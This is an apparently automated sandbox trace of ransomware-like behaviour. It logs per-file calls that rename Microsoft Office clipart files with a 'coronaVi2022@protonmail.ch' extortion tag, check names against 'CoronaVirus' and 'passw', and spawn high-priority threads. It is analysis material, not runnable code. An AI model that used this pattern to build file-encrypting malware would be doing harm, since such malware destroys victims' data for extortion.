	[0093.279] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 126
	[0093.279] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.279] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="wasse") returned 0x0
	[0093.279] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", _SubStr="passw") returned 0x0
	[0093.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4
	[0093.280] SetThreadPriority (hThread=0x9e4, nPriority=15) returned 1
	[0093.286] malloc (_Size=0x1000) returned 0x51f0070
	[0093.286] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 126
	[0093.286] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.286] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="wasse") returned 0x0
	[0093.286] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", _SubStr="passw") returned 0x0
	[0093.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e8
	[0093.287] SetThreadPriority (hThread=0x9e8, nPriority=15) returned 1
	[0093.290] malloc (_Size=0x1000) returned 0x51f5098
	[0093.290] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 126
	[0093.293] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.293] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="wasse") returned 0x0
	[0093.293] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", _SubStr="passw") returned 0x0
	[0093.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ec
	[0093.293] SetThreadPriority (hThread=0x9ec, nPriority=15) returned 1
	[0093.299] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.301] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 126
	[0093.301] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.301] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="wasse") returned 0x0
	[0093.301] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", _SubStr="passw") returned 0x0
	[0093.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0
	[0093.302] SetThreadPriority (hThread=0x9f0, nPriority=15) returned 1
	[0093.308] malloc (_Size=0x1000) returned 0x51f5098
	[0093.312] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 126
	[0093.314] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.314] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="wasse") returned 0x0
	[0093.314] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", _SubStr="passw") returned 0x0
	[0093.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f4
	[0093.315] SetThreadPriority (hThread=0x9f4, nPriority=15) returned 1
	[0093.324] malloc (_Size=0x1000) returned 0x51f0070
	[0093.324] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 126
	[0093.324] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.324] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="wasse") returned 0x0
	[0093.324] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", _SubStr="passw") returned 0x0
	[0093.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8
	[0093.325] SetThreadPriority (hThread=0x9f8, nPriority=15) returned 1
	[0093.330] malloc (_Size=0x1000) returned 0x51f1078
	[0093.331] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 155
	[0093.333] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.333] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="wasse") returned 0x0
	[0093.333] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", _SubStr="passw") returned 0x0
	[0093.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc
	[0093.334] SetThreadPriority (hThread=0x9fc, nPriority=15) returned 1
	[0093.339] malloc (_Size=0x1000) returned 0x51f0070
	[0093.339] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 155
	[0093.339] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.339] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="wasse") returned 0x0
	[0093.339] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", _SubStr="passw") returned 0x0
	[0093.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa00
	[0093.344] SetThreadPriority (hThread=0xa00, nPriority=15) returned 1
	[0093.348] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.349] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 155
	[0093.351] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.351] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="wasse") returned 0x0
	[0093.351] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", _SubStr="passw") returned 0x0
	[0093.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa04
	[0093.351] SetThreadPriority (hThread=0xa04, nPriority=15) returned 1
	[0093.359] malloc (_Size=0x1000) returned 0x51f5098
	[0093.359] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 155
	[0093.359] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.359] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="wasse") returned 0x0
	[0093.359] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", _SubStr="passw") returned 0x0
	[0093.359] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa08
	[0093.360] SetThreadPriority (hThread=0xa08, nPriority=15) returned 1
	[0093.365] malloc (_Size=0x1000) returned 0x51f0070
	[0093.367] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 155
	[0093.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="wasse") returned 0x0
	[0093.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", _SubStr="passw") returned 0x0
	[0093.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa0c
	[0093.367] SetThreadPriority (hThread=0xa0c, nPriority=15) returned 1
	[0093.371] malloc (_Size=0x1000) returned 0x51f3088
	[0093.371] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif") returned 155
	[0093.377] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.377] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="wasse") returned 0x0
	[0093.377] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", _SubStr="passw") returned 0x0
	[0093.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa10
	[0093.378] SetThreadPriority (hThread=0xa10, nPriority=15) returned 1
	[0093.382] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.388] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif") returned 155
	[0093.388] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.388] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="wasse") returned 0x0
	[0093.388] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00052_.gif", _SubStr="passw") returned 0x0
	[0093.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa14
	[0093.388] SetThreadPriority (hThread=0xa14, nPriority=15) returned 1
	[0093.394] malloc (_Size=0x1000) returned 0x51f3088
	[0093.396] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif") returned 155
	[0093.396] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.396] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="wasse") returned 0x0
	[0093.396] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00057_.gif", _SubStr="passw") returned 0x0
	[0093.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa18
	[0093.397] SetThreadPriority (hThread=0xa18, nPriority=15) returned 1
	[0093.448] malloc (_Size=0x1000) returned 0x51f60a0
	[0093.448] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif") returned 155
	[0093.448] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.448] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="wasse") returned 0x0
	[0093.448] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00090_.gif", _SubStr="passw") returned 0x0
	[0093.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f60a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c
	[0093.449] SetThreadPriority (hThread=0xa1c, nPriority=15) returned 1
	[0093.462] malloc (_Size=0x1000) returned 0x51f5098
	[0093.463] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif") returned 155
	[0093.463] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.463] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="wasse") returned 0x0
	[0093.463] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00092_.gif", _SubStr="passw") returned 0x0
	[0093.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f5098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20
	[0093.463] SetThreadPriority (hThread=0xa20, nPriority=15) returned 1
	[0093.469] malloc (_Size=0x1000) returned 0x51f4090
	[0093.469] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif") returned 155
	[0093.469] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.469] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="wasse") returned 0x0
	[0093.469] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00103_.gif", _SubStr="passw") returned 0x0
	[0093.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f4090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24
	[0093.470] SetThreadPriority (hThread=0xa24, nPriority=15) returned 1
	[0093.475] malloc (_Size=0x1000) returned 0x51f0070
	[0093.481] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif") returned 155
	[0093.481] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.481] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="wasse") returned 0x0
	[0093.482] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00120_.gif", _SubStr="passw") returned 0x0
	[0093.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28
	[0093.482] SetThreadPriority (hThread=0xa28, nPriority=15) returned 1
	[0093.486] malloc (_Size=0x1000) returned 0x51f1078
	[0093.487] _swprintf (in: param_1=0x51f1078, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif") returned 155
	[0093.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="wasse") returned 0x0
	[0093.489] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00126_.gif", _SubStr="passw") returned 0x0
	[0093.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f1078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c
	[0093.489] SetThreadPriority (hThread=0xa2c, nPriority=15) returned 1
	[0093.493] malloc (_Size=0x1000) returned 0x51f0070
	[0093.495] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif") returned 155
	[0093.495] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.495] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="wasse") returned 0x0
	[0093.495] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00129_.gif", _SubStr="passw") returned 0x0
	[0093.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30
	[0093.496] SetThreadPriority (hThread=0xa30, nPriority=15) returned 1
	[0093.508] malloc (_Size=0x1000) returned 0x51f3088
	[0093.508] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif") returned 155
	[0093.508] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.508] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="wasse") returned 0x0
	[0093.508] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00130_.gif", _SubStr="passw") returned 0x0
	[0093.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x51f3088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa34
	[0093.509] SetThreadPriority (hThread=0xa34, nPriority=15) returned 1
	[0093.513] malloc (_Size=0x1000) returned 0x51f0070
	[0093.515] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 155
	[0093.515] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="CoronaVirus") returned 0x0
	[0093.515] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", _SubStr="wasse") returned 0x0
